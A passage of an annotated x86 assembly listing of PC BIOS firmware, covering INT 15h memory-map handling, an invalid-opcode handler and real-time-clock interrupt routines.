mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 db ac
and byte [bp+018h], 0feh ; 80 66 18 fe
mov dx, 000a1h ; ba a1 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0feh ; 24 fe
out DX, AL ; ee
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 fa ac
mov dl, al ; 88 c2
or dl, 040h ; 80 ca 40
xor dh, dh ; 30 f6
mov ax, strict word 0000bh ; b8 0b 00
call 016c9h ; e8 08 ad
jmp near 0693bh ; e9 77 ff
jmp near 06b01h ; e9 3a 01
cmp ax, strict word 00001h ; 3d 01 00
jne short 069e8h ; 75 1c
xor bx, bx ; 31 db
mov dx, 000a0h ; ba a0 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 89 ac
and byte [bp+018h], 0feh ; 80 66 18 fe
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 cd ac
mov dl, al ; 88 c2
and dl, 0bfh ; 80 e2 bf
jmp short 069b9h ; eb d1
mov word [bp+018h], dx ; 89 56 18
mov ax, bx ; 89 d8
xor ah, bh ; 30 fc
xor bl, bl ; 30 db
dec ax ; 48
or bx, ax ; 09 c3
mov word [bp+012h], bx ; 89 5e 12
jmp near 0693bh ; e9 41 ff
mov ax, strict word 00031h ; b8 31 00
call 016aeh ; e8 ae ac
mov dh, al ; 88 c6
mov ax, strict word 00030h ; b8 30 00
call 016aeh ; e8 a6 ac
mov dl, al ; 88 c2
mov word [bp+012h], dx ; 89 56 12
cmp dx, strict byte 0ffc0h ; 83 fa c0
jbe short 06a17h ; 76 05
mov word [bp+012h], strict word 0ffc0h ; c7 46 12 c0 ff
and byte [bp+018h], 0feh ; 80 66 18 fe
jmp near 0693bh ; e9 1d ff
cli ; fa
mov ax, strict word 00001h ; b8 01 00
call 0679eh ; e8 79 fd
mov dx, word [bp+006h] ; 8b 56 06
add dx, strict byte 00038h ; 83 c2 38
mov ax, word [bp+014h] ; 8b 46 14
mov bx, strict word 0ffffh ; bb ff ff
call 0167ch ; e8 48 ac
mov dx, word [bp+006h] ; 8b 56 06
add dx, strict byte 0003ah ; 83 c2 3a
mov ax, word [bp+014h] ; 8b 46 14
xor bx, bx ; 31 db
call 0167ch ; e8 3a ac
mov dx, word [bp+006h] ; 8b 56 06
add dx, strict byte 0003ch ; 83 c2 3c
mov ax, word [bp+014h] ; 8b 46 14
mov bx, strict word 0000fh ; bb 0f 00
call 01660h ; e8 0f ac
mov dx, word [bp+006h] ; 8b 56 06
add dx, strict byte 0003dh ; 83 c2 3d
mov ax, word [bp+014h] ; 8b 46 14
mov bx, 0009bh ; bb 9b 00
call 01660h ; e8 00 ac
mov dx, word [bp+006h] ; 8b 56 06
add dx, strict byte 0003eh ; 83 c2 3e
mov ax, word [bp+014h] ; 8b 46 14
xor bx, bx ; 31 db
call 0167ch ; e8 0e ac
mov AL, strict byte 011h ; b0 11
mov dx, strict word 00020h ; ba 20 00
out DX, AL ; ee
mov dx, 000a0h ; ba a0 00
out DX, AL ; ee
mov al, byte [bp+00dh] ; 8a 46 0d
mov dx, strict word 00021h ; ba 21 00
out DX, AL ; ee
mov ax, word [bp+00ch] ; 8b 46 0c
mov dx, 000a1h ; ba a1 00
out DX, AL ; ee
mov AL, strict byte 004h ; b0 04
mov dx, strict word 00021h ; ba 21 00
out DX, AL ; ee
mov AL, strict byte 002h ; b0 02
mov dx, 000a1h ; ba a1 00
out DX, AL ; ee
mov AL, strict byte 001h ; b0 01
mov dx, strict word 00021h ; ba 21 00
out DX, AL ; ee
mov dx, 000a1h ; ba a1 00
out DX, AL ; ee
mov AL, strict byte 0ffh ; b0 ff
mov dx, strict word 00021h ; ba 21 00
out DX, AL ; ee
mov dx, 000a1h ; ba a1 00
out DX, AL ; ee
mov si, word [bp+006h] ; 8b 76 06
call 06aach ; e8 00 00
pop di ; 5f
add di, strict byte 00018h ; 83 c7 18
push strict byte 00038h ; 6a 38
push di ; 57
lgdt [es:si+008h] ; 26 0f 01 54 08
lidt [es:si+010h] ; 26 0f 01 5c 10
mov ax, strict word 00001h ; b8 01 00
lmsw ax ; 0f 01 f0
retf ; cb
mov ax, strict word 00028h ; b8 28 00
mov ss, ax ; 8e d0
mov ax, strict word 00018h ; b8 18 00
mov ds, ax ; 8e d8
mov ax, strict word 00020h ; b8 20 00
mov es, ax ; 8e c0
lea ax, [bp+004h] ; 8d 46 04
db 08bh, 0e0h
; mov sp, ax ; 8b e0
popaw ; 61
add sp, strict byte 00006h ; 83 c4 06
pop cx ; 59
pop ax ; 58
pop ax ; 58
mov ax, strict word 00030h ; b8 30 00
push ax ; 50
push cx ; 51
retf ; cb
jmp near 0693bh ; e9 53 fe
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 40 ae
mov ax, 0086eh ; b8 6e 08
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 78 ae
add sp, strict byte 00004h ; 83 c4 04
or byte [bp+018h], 001h ; 80 4e 18 01
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
or ah, 086h ; 80 cc 86
mov word [bp+012h], ax ; 89 46 12
jmp near 0693bh ; e9 28 fe
mov word [bp+018h], cx ; 89 4e 18
mov word [bp+012h], ax ; 89 46 12
mov word [bp+00ch], 0e6f5h ; c7 46 0c f5 e6
mov word [bp+014h], 0f000h ; c7 46 14 00 f0
jmp near 0693bh ; e9 15 fe
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 3f ab
mov word [bp+014h], ax ; 89 46 14
jmp near 06a17h ; e9 e2 fe
mov ax, 0089dh ; b8 9d 08
push ax ; 50
mov ax, strict word 00008h ; b8 08 00
jmp short 06afah ; eb bc
test byte [bp+012h], 0ffh ; f6 46 12 ff
jne short 06b63h ; 75 1f
mov word [bp+012h], ax ; 89 46 12
mov ax, word [bp+00ch] ; 8b 46 0c
xor ah, ah ; 30 e4
cmp ax, strict word 00001h ; 3d 01 00
jc short 06b5ch ; 72 0b
cmp ax, strict word 00003h ; 3d 03 00
jnbe short 06b5ch ; 77 06
mov word [bp+018h], cx ; 89 4e 18
jmp near 0693bh ; e9 df fd
or byte [bp+018h], 001h ; 80 4e 18 01
jmp near 0693bh ; e9 d8 fd
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 c5 ad
push word [bp+00ch] ; ff 76 0c
push word [bp+012h] ; ff 76 12
mov ax, 008b4h ; b8 b4 08
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 f7 ad
add sp, strict byte 00008h ; 83 c4 08
jmp near 06b01h ; e9 7c ff
add ch, byte [di+02ch] ; 02 6d 2c
insw ; 6d
test byte [di-057h], ch ; 84 6d a9
insw ; 6d
leave ; c9
insw ; 6d
call 079ffh ; e8 6d 0e
outsb ; 6e
xor AL, strict byte 06eh ; 34 6e
jno short 06c05h ; 71 6e
movsw ; a5
outsb ; 6e
_int15_function32: ; 0xf6b99 LB 0x39e
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
sub sp, strict byte 00008h ; 83 ec 08
mov al, byte [bp+021h] ; 8a 46 21
xor ah, ah ; 30 e4
mov bx, word [bp+028h] ; 8b 5e 28
and bl, 0feh ; 80 e3 fe
mov dx, word [bp+020h] ; 8b 56 20
xor dh, dh ; 30 f6
cmp ax, 000e8h ; 3d e8 00
je short 06bffh ; 74 4a
cmp ax, 000d0h ; 3d d0 00
je short 06bcch ; 74 12
cmp ax, 00086h ; 3d 86 00
jne short 06bfdh ; 75 3e
sti ; fb
mov dx, word [bp+01ch] ; 8b 56 1c
mov ax, word [bp+018h] ; 8b 46 18
call 0675bh ; e8 92 fb
jmp near 06d7eh ; e9 b2 01
cmp dx, strict byte 0004fh ; 83 fa 4f
jne short 06bfdh ; 75 2c
cmp word [bp+016h], 05052h ; 81 7e 16 52 50
jne short 06c33h ; 75 5b
cmp word [bp+014h], 04f43h ; 81 7e 14 43 4f
jne short 06c33h ; 75 54
cmp word [bp+01eh], 04d4fh ; 81 7e 1e 4f 4d
jne short 06c33h ; 75 4d
cmp word [bp+01ch], 04445h ; 81 7e 1c 45 44
jne short 06c33h ; 75 46
mov ax, word [bp+00ah] ; 8b 46 0a
or ax, word [bp+008h] ; 0b 46 08
jne short 06c33h ; 75 3e
mov ax, word [bp+006h] ; 8b 46 06
or ax, word [bp+004h] ; 0b 46 04
je short 06c01h ; 74 04
jmp short 06c33h ; eb 34
jmp short 06c29h ; eb 28
mov word [bp+028h], bx ; 89 5e 28
mov ax, word [bp+014h] ; 8b 46 14
mov word [bp+008h], ax ; 89 46 08
mov ax, word [bp+016h] ; 8b 46 16
mov word [bp+00ah], ax ; 89 46 0a
mov ax, word [bp+01ch] ; 8b 46 1c
mov word [bp+004h], ax ; 89 46 04
mov ax, word [bp+01eh] ; 8b 46 1e
mov word [bp+006h], ax ; 89 46 06
mov word [bp+020h], 03332h ; c7 46 20 32 33
mov word [bp+022h], 04941h ; c7 46 22 41 49
jmp near 06d7eh ; e9 55 01
cmp dx, strict byte 00020h ; 83 fa 20
je short 06c39h ; 74 0b
cmp dx, strict byte 00001h ; 83 fa 01
je short 06c36h ; 74 03
jmp near 06d51h ; e9 1b 01
jmp near 06ef7h ; e9 be 02
cmp word [bp+01ah], 0534dh ; 81 7e 1a 4d 53
jne short 06c33h ; 75 f3
cmp word [bp+018h], 04150h ; 81 7e 18 50 41
jne short 06c33h ; 75 ec
mov ax, strict word 00035h ; b8 35 00
call 016aeh ; e8 61 aa
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
xor dx, dx ; 31 d2
mov cx, strict word 00008h ; b9 08 00
sal bx, 1 ; d1 e3
rcl dx, 1 ; d1 d2
loop 06c56h ; e2 fa
mov ax, strict word 00034h ; b8 34 00
call 016aeh ; e8 4c aa
xor ah, ah ; 30 e4
mov dx, bx ; 89 da
or dx, ax ; 09 c2
xor bx, bx ; 31 db
add bx, bx ; 01 db
adc dx, 00100h ; 81 d2 00 01
cmp dx, 00100h ; 81 fa 00 01
jc short 06c7ch ; 72 06
jne short 06caah ; 75 32
test bx, bx ; 85 db
jnbe short 06caah ; 77 2e
mov ax, strict word 00031h ; b8 31 00
call 016aeh ; e8 2c aa
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
xor dx, dx ; 31 d2
mov cx, strict word 00008h ; b9 08 00
sal bx, 1 ; d1 e3
rcl dx, 1 ; d1 d2
loop 06c8bh ; e2 fa
mov ax, strict word 00030h ; b8 30 00
call 016aeh ; e8 17 aa
xor ah, ah ; 30 e4
or bx, ax ; 09 c3
mov cx, strict word 0000ah ; b9 0a 00
sal bx, 1 ; d1 e3
rcl dx, 1 ; d1 d2
loop 06c9eh ; e2 fa
add bx, strict byte 00000h ; 83 c3 00
adc dx, strict byte 00010h ; 83 d2 10
mov ax, strict word 00062h ; b8 62 00
call 016aeh ; e8 fe a9
xor ah, ah ; 30 e4
mov word [bp-00ah], ax ; 89 46 f6
xor al, al ; 30 c0
mov word [bp-008h], ax ; 89 46 f8
mov cx, strict word 00008h ; b9 08 00
sal word [bp-00ah], 1 ; d1 66 f6
rcl word [bp-008h], 1 ; d1 56 f8
loop 06cbdh ; e2 f8
mov ax, strict word 00061h ; b8 61 00
call 016aeh ; e8 e3 a9
xor ah, ah ; 30 e4
or word [bp-00ah], ax ; 09 46 f6
mov ax, word [bp-00ah] ; 8b 46 f6
mov word [bp-008h], ax ; 89 46 f8
mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00
mov ax, strict word 00063h ; b8 63 00
call 016aeh ; e8 cd a9
mov byte [bp-004h], al ; 88 46 fc
mov byte [bp-006h], al ; 88 46 fa
mov ax, word [bp+014h] ; 8b 46 14
cmp ax, strict word 00009h ; 3d 09 00
jnbe short 06d51h ; 77 62
mov si, ax ; 89 c6
sal si, 1 ; d1 e6
mov ax, bx ; 89 d8
add ax, strict word 00000h ; 05 00 00
mov cx, dx ; 89 d1
adc cx, strict byte 0ffffh ; 83 d1 ff
jmp word [cs:si+06b85h] ; 2e ff a4 85 6b
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
mov ax, strict word 00009h ; b8 09 00
push ax ; 50
mov ax, 0fc00h ; b8 00 fc
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
xor cx, cx ; 31 c9
call 067ceh ; e8 af fa
mov word [bp+014h], strict word 00001h ; c7 46 14 01 00
mov word [bp+016h], strict word 00000h ; c7 46 16 00 00
jmp near 06edch ; e9 b0 01
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
mov ax, strict word 0000ah ; b8 0a 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
mov bx, 0fc00h ; bb 00 fc
mov cx, strict word 00009h ; b9 09 00
call 067ceh ; e8 84 fa
mov word [bp+014h], strict word 00002h ; c7 46 14 02 00
jmp short 06d24h ; eb d3
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 d7 ab
push word [bp+014h] ; ff 76 14
push word [bp+020h] ; ff 76 20
mov ax, 008b4h ; b8 b4 08
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 09 ac
add sp, strict byte 00008h ; 83 c4 08
or byte [bp+028h], 001h ; 80 4e 28 01
mov ax, word [bp+020h] ; 8b 46 20
xor al, al ; 30 c0
or AL, strict byte 086h ; 0c 86
mov word [bp+020h], ax ; 89 46 20
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
mov ax, strict word 00010h ; b8 10 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
mov cx, strict word 0000fh ; b9 0f 00
call 067ceh ; e8 2d fa
mov word [bp+014h], strict word 00003h ; c7 46 14 03 00
jmp near 06d24h ; e9 7b ff
mov dx, strict word 00001h ; ba 01 00
push dx ; 52
xor dx, dx ; 31 d2
push dx ; 52
push dx ; 52
push cx ; 51
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
mov cx, strict word 00010h ; b9 10 00
call 067ceh ; e8 0d fa
mov word [bp+014h], strict word 00004h ; c7 46 14 04 00
jmp near 06d24h ; e9 5b ff
mov si, strict word 00003h ; be 03 00
push si ; 56
xor si, si ; 31 f6
push si ; 56
push si ; 56
push dx ; 52
push bx ; 53
mov dx, word [bp+004h] ; 8b 56 04
mov si, word [bp+024h] ; 8b 76 24
mov bx, ax ; 89 c3
mov ax, si ; 89 f0
call 067ceh ; e8 ee f9
mov word [bp+014h], strict word 00005h ; c7 46 14 05 00
jmp near 06d24h ; e9 3c ff
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
mov ax, 0fec0h ; b8 c0 fe
push ax ; 50
mov ax, 01000h ; b8 00 10
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
mov cx, 0fec0h ; b9 c0 fe
call 067ceh ; e8 c8 f9
mov word [bp+014h], strict word 00006h ; c7 46 14 06 00
jmp near 06d24h ; e9 16 ff
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
mov ax, 0fee0h ; b8 e0 fe
push ax ; 50
mov ax, 01000h ; b8 00 10
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
mov cx, 0fee0h ; b9 e0 fe
call 067ceh ; e8 a2 f9
mov word [bp+014h], strict word 00007h ; c7 46 14 07 00
jmp near 06d24h ; e9 f0 fe
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
push ax ; 50
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
mov cx, strict word 0fffch ; b9 fc ff
call 067ceh ; e8 82 f9
cmp byte [bp-004h], 000h ; 80 7e fc 00
jne short 06e59h ; 75 07
mov ax, word [bp-008h] ; 8b 46 f8
test ax, ax ; 85 c0
je short 06e69h ; 74 10
mov word [bp+014h], strict word 00009h ; c7 46 14 09 00
jmp near 06d24h ; e9 c3 fe
mov word [bp+014h], strict word 00008h ; c7 46 14 08 00
jmp near 06d24h ; e9 bb fe
mov word [bp+014h], ax ; 89 46 14
mov word [bp+016h], ax ; 89 46 16
jmp short 06edch ; eb 6b
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
push ax ; 50
push ax ; 50
push ax ; 50
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
xor cx, cx ; 31 c9
call 067ceh ; e8 46 f9
cmp byte [bp-004h], 000h ; 80 7e fc 00
jne short 06e95h ; 75 07
mov ax, word [bp-008h] ; 8b 46 f8
test ax, ax ; 85 c0
je short 06e9dh ; 74 08
mov word [bp+014h], strict word 00009h ; c7 46 14 09 00
jmp near 06d24h ; e9 87 fe
mov word [bp+014h], ax ; 89 46 14
mov word [bp+016h], ax ; 89 46 16
jmp short 06edch ; eb 37
cmp byte [bp-004h], 000h ; 80 7e fc 00
jne short 06eb1h ; 75 06
cmp word [bp-008h], strict byte 00000h ; 83 7e f8 00
je short 06edch ; 74 2b
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov al, byte [bp-006h] ; 8a 46 fa
db 0feh, 0c0h
; inc al ; fe c0
xor ah, ah ; 30 e4
push ax ; 50
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
push word [bp-008h] ; ff 76 f8
push word [bp-00ah] ; ff 76 f6
mov dx, word [bp+004h] ; 8b 56 04
mov ax, word [bp+024h] ; 8b 46 24
xor bx, bx ; 31 db
xor cx, cx ; 31 c9
call 067ceh ; e8 fa f8
xor ax, ax ; 31 c0
mov word [bp+014h], ax ; 89 46 14
mov word [bp+016h], ax ; 89 46 16
mov word [bp+020h], 04150h ; c7 46 20 50 41
mov word [bp+022h], 0534dh ; c7 46 22 4d 53
mov word [bp+01ch], strict word 00014h ; c7 46 1c 14 00
mov word [bp+01eh], strict word 00000h ; c7 46 1e 00 00
and byte [bp+028h], 0feh ; 80 66 28 fe
jmp near 06d7eh ; e9 87 fe
mov word [bp+028h], bx ; 89 5e 28
mov ax, strict word 00031h ; b8 31 00
call 016aeh ; e8 ae a7
mov dh, al ; 88 c6
mov ax, strict word 00030h ; b8 30 00
call 016aeh ; e8 a6 a7
mov dl, al ; 88 c2
mov word [bp+01ch], dx ; 89 56 1c
cmp dx, 03c00h ; 81 fa 00 3c
jbe short 06f18h ; 76 05
mov word [bp+01ch], 03c00h ; c7 46 1c 00 3c
mov ax, strict word 00035h ; b8 35 00
call 016aeh ; e8 90 a7
mov dh, al ; 88 c6
mov ax, strict word 00034h ; b8 34 00
call 016aeh ; e8 88 a7
mov dl, al ; 88 c2
mov word [bp+018h], dx ; 89 56 18
mov ax, word [bp+01ch] ; 8b 46 1c
mov word [bp+020h], ax ; 89 46 20
mov word [bp+014h], dx ; 89 56 14
jmp near 06d7eh ; e9 47 fe
_inv_op_handler: ; 0xf6f37 LB 0x18f
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
les bx, [bp+018h] ; c4 5e 18
cmp byte [es:bx], 0f0h ; 26 80 3f f0
jne short 06f4dh ; 75 06
inc word [bp+018h] ; ff 46 18
jmp near 070bfh ; e9 72 01
cmp word [es:bx], 0050fh ; 26 81 3f 0f 05
je short 06f57h ; 74 03
jmp near 070bbh ; e9 64 01
mov si, 00800h ; be 00 08
xor ax, ax ; 31 c0
mov word [bp-008h], ax ; 89 46 f8
mov word [bp-006h], ax ; 89 46 fa
mov es, ax ; 8e c0
mov bx, word [es:si+02ch] ; 26 8b 5c 2c
sub bx, strict byte 00006h ; 83 eb 06
mov dx, word [es:si+020h] ; 26 8b 54 20
mov ax, word [es:si+01ah] ; 26 8b 44 1a
mov es, dx ; 8e c2
mov word [es:bx], ax ; 26 89 07
mov es, [bp-008h] ; 8e 46 f8
mov ax, word [es:si+022h] ; 26 8b 44 22
mov es, dx ; 8e c2
mov word [es:bx+002h], ax ; 26 89 47 02
mov es, [bp-008h] ; 8e 46 f8
mov ax, word [es:si+018h] ; 26 8b 44 18
mov es, dx ; 8e c2
mov word [es:bx+004h], ax ; 26 89 47 04
mov es, [bp-008h] ; 8e 46 f8
mov bl, byte [es:si+038h] ; 26 8a 5c 38
xor bh, bh ; 30 ff
mov di, word [es:si+036h] ; 26 8b 7c 36
mov ax, word [es:si+024h] ; 26 8b 44 24
xor dx, dx ; 31 d2
mov cx, strict word 00004h ; b9 04 00
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 06fa8h ; e2 fa
cmp bx, dx ; 39 d3
jne short 06fb6h ; 75 04
cmp di, ax ; 39 c7
je short 06fbbh ; 74 05
mov word [bp-006h], strict word 00001h ; c7 46 fa 01 00
mov es, [bp-008h] ; 8e 46 f8
mov bl, byte [es:si+04ah] ; 26 8a 5c 4a
xor bh, bh ; 30 ff
mov di, word [es:si+048h] ; 26 8b 7c 48
mov ax, word [es:si+01eh] ; 26 8b 44 1e
xor dx, dx ; 31 d2
mov cx, strict word 00004h ; b9 04 00
sal ax, 1 ; d1 e0
rcl dx, 1 ; d1 d2
loop 06fd1h ; e2 fa
cmp bx, dx ; 39 d3
jne short 06fdfh ; 75 04
cmp di, ax ; 39 c7
je short 06fe3h ; 74 04
or byte [bp-006h], 002h ; 80 4e fa 02
xor ax, ax ; 31 c0
push ax ; 50
mov ax, 00800h ; b8 00 08
push ax ; 50
mov ax, strict word 0001fh ; b8 1f 00
push ax ; 50
db 08bh, 0dch
; mov bx, sp ; 8b dc
lgdt [ss:bx] ; 36 0f 01 17
add sp, strict byte 00006h ; 83 c4 06
mov es, [bp-008h] ; 8e 46 f8
mov ax, word [es:si+03ah] ; 26 8b 44 3a
mov word [es:si+008h], ax ; 26 89 44 08
mov ax, word [es:si+036h] ; 26 8b 44 36
mov word [es:si+00ah], ax ; 26 89 44 0a
mov dh, byte [es:si+039h] ; 26 8a 74 39
mov dl, byte [es:si+038h] ; 26 8a 54 38
mov word [es:si+00ch], dx ; 26 89 54 0c
mov word [es:si+00eh], strict word 00000h ; 26 c7 44 0e 00 00
mov ax, word [es:si+04ch] ; 26 8b 44 4c
mov word [es:si], ax ; 26 89 04
mov ax, word [es:si+048h] ; 26 8b 44 48
mov word [es:si+002h], ax ; 26 89 44 02
mov dh, byte [es:si+04bh] ; 26 8a 74 4b
mov dl, byte [es:si+04ah] ; 26 8a 54 4a
xor ah, ah ; 30 e4
mov word [es:si+004h], dx ; 26 89 54 04
mov al, byte [es:si+05ch] ; 26 8a 44 5c
mov dx, word [es:si+05ah] ; 26 8b 54 5a
push ax ; 50
push dx ; 52
push word [es:si+05eh] ; 26 ff 74 5e
db 08bh, 0dch
; mov bx, sp ; 8b dc
lidt [ss:bx] ; 36 0f 01 1f
add sp, strict byte 00006h ; 83 c4 06
mov cx, word [bp-006h] ; 8b 4e fa
mov ax, 00080h ; b8 80 00
mov ss, ax ; 8e d0
mov ax, word [ss:0001eh] ; 36 a1 1e 00
mov ds, ax ; 8e d8
mov ax, word [ss:00024h] ; 36 a1 24 00
mov es, ax ; 8e c0
smsw ax ; 0f 01 e0
inc ax ; 40
lmsw ax ; 0f 01 f0
mov ax, strict word 00008h ; b8 08 00
test cx, strict word 00001h ; f7 c1 01 00
je near 07078h ; 0f 84 02 00
mov es, ax ; 8e c0
test cx, strict word 00002h ; f7 c1 02 00
je near 070a0h ; 0f 84 20 00
mov bx, word [word ss:00000h] ; 36 8b 1e 00 00
mov word [word ss:00008h], bx ; 36 89 1e 08 00
mov bx, word [word ss:00002h] ; 36 8b 1e 02 00
mov word [word ss:0000ah], bx ; 36 89 1e 0a 00
mov bx, word [word ss:00004h] ; 36 8b 1e 04 00
mov word [word ss:0000ch], bx ; 36 89 1e 0c 00
mov ds, ax ; 8e d8
mov eax, cr0 ; 0f 20 c0
dec ax ; 48
mov cr0, eax ; 0f 22 c0
mov sp, strict word 00026h ; bc 26 00
popaw ; 61
mov sp, word [word ss:0002ch] ; 36 8b 26 2c 00
sub sp, strict byte 00006h ; 83 ec 06
mov ss, [word ss:00020h] ; 36 8e 16 20 00
iret ; cf
jmp short 070bfh ; eb 04
sti ; fb
hlt ; f4
jmp short 070bch ; eb fd
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
init_rtc_: ; 0xf70c6 LB 0x28
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov dx, strict word 00026h ; ba 26 00
mov ax, strict word 0000ah ; b8 0a 00
call 016c9h ; e8 f6 a5
mov dx, strict word 00002h ; ba 02 00
mov ax, strict word 0000bh ; b8 0b 00
call 016c9h ; e8 ed a5
mov ax, strict word 0000ch ; b8 0c 00
call 016aeh ; e8 cc a5
mov ax, strict word 0000dh ; b8 0d 00
call 016aeh ; e8 c6 a5
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
rtc_updating_: ; 0xf70ee LB 0x21
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov dx, 061a8h ; ba a8 61
dec dx ; 4a
je short 07106h ; 74 0e
mov ax, strict word 0000ah ; b8 0a 00
call 016aeh ; e8 b0 a5
test AL, strict byte 080h ; a8 80
jne short 070f5h ; 75 f3
xor ax, ax ; 31 c0
jmp short 07109h ; eb 03
mov ax, strict word 00001h ; b8 01 00
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
_int70_function: ; 0xf710f LB 0xbf
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push ax ; 50
mov ax, strict word 0000bh ; b8 0b 00
call 016aeh ; e8 94 a5
mov bl, al ; 88 c3
mov byte [bp-004h], al ; 88 46 fc
mov ax, strict word 0000ch ; b8 0c 00
call 016aeh ; e8 89 a5
mov dl, al ; 88 c2
test bl, 060h ; f6 c3 60
jne short 0712fh ; 75 03
jmp near 071b5h ; e9 86 00
test AL, strict byte 020h ; a8 20
je short 07137h ; 74 04
sti ; fb
int 04ah ; cd 4a
cli ; fa
test dl, 040h ; f6 c2 40
je short 0719fh ; 74 63
mov dx, 000a0h ; ba a0 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 0d a5
test al, al ; 84 c0
je short 071b5h ; 74 6c
mov dx, 0009ch ; ba 9c 00
mov ax, strict word 00040h ; b8 40 00
call 0168ah ; e8 38 a5
test dx, dx ; 85 d2
jne short 071a1h ; 75 4b
cmp ax, 003d1h ; 3d d1 03
jnc short 071a1h ; 73 46
mov dx, 00098h ; ba 98 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 0a a5
mov si, ax ; 89 c6
mov dx, 0009ah ; ba 9a 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 ff a4
mov cx, ax ; 89 c1
xor bx, bx ; 31 db
mov dx, 000a0h ; ba a0 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 e4 a4
mov dl, byte [bp-004h] ; 8a 56 fc
and dl, 037h ; 80 e2 37
xor dh, dh ; 30 f6
mov ax, strict word 0000bh ; b8 0b 00
call 016c9h ; e8 3f a5
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 01652h ; e8 c1 a4
mov bl, al ; 88 c3
or bl, 080h ; 80 cb 80
xor bh, bh ; 30 ff
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 01660h ; e8 c1 a4
jmp short 071b5h ; eb 14
mov bx, ax ; 89 c3
add bx, 0fc2fh ; 81 c3 2f fc
mov cx, dx ; 89 d1
adc cx, strict byte 0ffffh ; 83 d1 ff
mov dx, 0009ch ; ba 9c 00
mov ax, strict word 00040h ; b8 40 00
call 0169ch ; e8 e7 a4
call 0e030h ; e8 78 6e
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
in AL, strict byte 071h ; e4 71
or si, word [bp+si+030h] ; 0b 72 30
jc short 07231h ; 72 6c
jc short 07185h ; 72 be
jc short 071beh ; 72 f5
jc short 07207h ; 72 3c
jnc short 07164h ; 73 97
db 073h
_int1a_function: ; 0xf71ce LB 0x1d9
push bp ; 55
mov bp, sp ; 89 e5
sti ; fb
mov al, byte [bp+013h] ; 8a 46 13
cmp AL, strict byte 007h ; 3c 07
jnbe short 07237h ; 77 5e
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
sal bx, 1 ; d1 e3
jmp word [cs:bx+071beh] ; 2e ff a7 be 71
cli ; fa
mov bx, 0046eh ; bb 6e 04
